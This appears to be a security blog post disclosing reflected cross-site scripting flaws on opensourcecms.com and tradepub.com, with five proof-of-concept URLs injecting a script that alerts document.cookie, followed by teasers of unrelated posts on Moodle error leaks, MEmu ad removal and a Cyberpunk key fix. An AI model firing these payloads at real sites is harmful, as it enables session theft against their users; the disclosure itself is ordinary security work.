Skip to main content

www.opensourcecms.com www.tradepub.com | several XSS

Several XSS all over the website (more than the listed).


samples (xss after the id or the page will redirect)

http://php.opensourcecms.com/scripts/details.php?scriptid=339%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cval=&name=Mac's%20CMS

http://php.opensourcecms.com/scripts/show.php?catid=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C&cat=CMS%20/%20Portals

http://php.opensourcecms.com/news/index.php?page=2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C&sortby=dateasc

http://php.opensourcecms.com/scripts/details.php?scriptid=19%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C&name=e107
 
 sample on tradepub.com closing the comment in the html
http://php-opensourcecms.tradepub.com/?pt=cat&page=Cons--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!-- 




there are several other.
Labels:

Comments

Post a Comment

Popular posts from this blog

Moodle 3.8.1+ - path leak via errors in several files

Moodle 3.8.1+ ----------------------------------------------- File: admin/mailout-debugger.php #!/usr/bin/php Notice : Disabled. in \admin\mailout-debugger.php on line 73 File: admin/settings/appearance.php Notice : Undefined variable: hassiteconfig in \admin\settings\appearance.php on line 10 Fatal error : Uncaught Error: Call to undefined function has_any_capability() in \admin\settings\appearance.php:10 Stack trace: #0 {main} thrown in \admin\settings\appearance.php on line 10 File: admin/settings/badges.php Notice : Undefined variable: hassiteconfig in \admin\settings\badges.php on line 30 Fatal error : Uncaught Error: Call to undefined function has_any_capability() in \admin\settings\badges.php:30 Stack trace: #0 {main} thrown in \admin\settings\badges.php on line 30 File: admin/settings/courses.php Notice : Undefined variable: hassiteconfig in \admin\settings\courses.php on line 32 Fatal error : Uncaught Error: Call to undefined function
Post a Comment
Read more

2022 - Remove (the too many) Ads from Memu launcher

Simple method Download from pureapk "MEmu Launcher2" ex: MEmu Launcher2_v6.0.9_apkpure.com Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar) Longer method Install "Export Apk" Export the memu launcher2  Install purify https://github.com/echo-devim/purify/raw/master/Purify.apk use purify with the exported memu launcher 2 Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar)      
Post a Comment
Read more

[FIX] cyberpunk skip dialogue disappeared - pc Y button

  open C:\Games\Cyberpunk 2077\r6\config\inputUserMappings.xml with a text editor (ex. notepad++)   find   <mapping name="SceneFastForward_Button" type="Button" > ... </mapping> example (my non working settings)     <mapping name="SceneFastForward_Button" type="Button" >         <button id="IK_Pad_DigitLeft" />         <button id="IK_Y" overridableUI="fastForward" />     </mapping> and REPLACE it with the following:     <mapping name="SceneFastForward_Button" type="Button" >         <button id="IK_Pad_B_CIRCLE" />         <button id="IK_C" overridableUI="fastForward"/>     </mapping> thanks to the vanilla xml files on nexus mods as the original source.
Post a Comment
Read more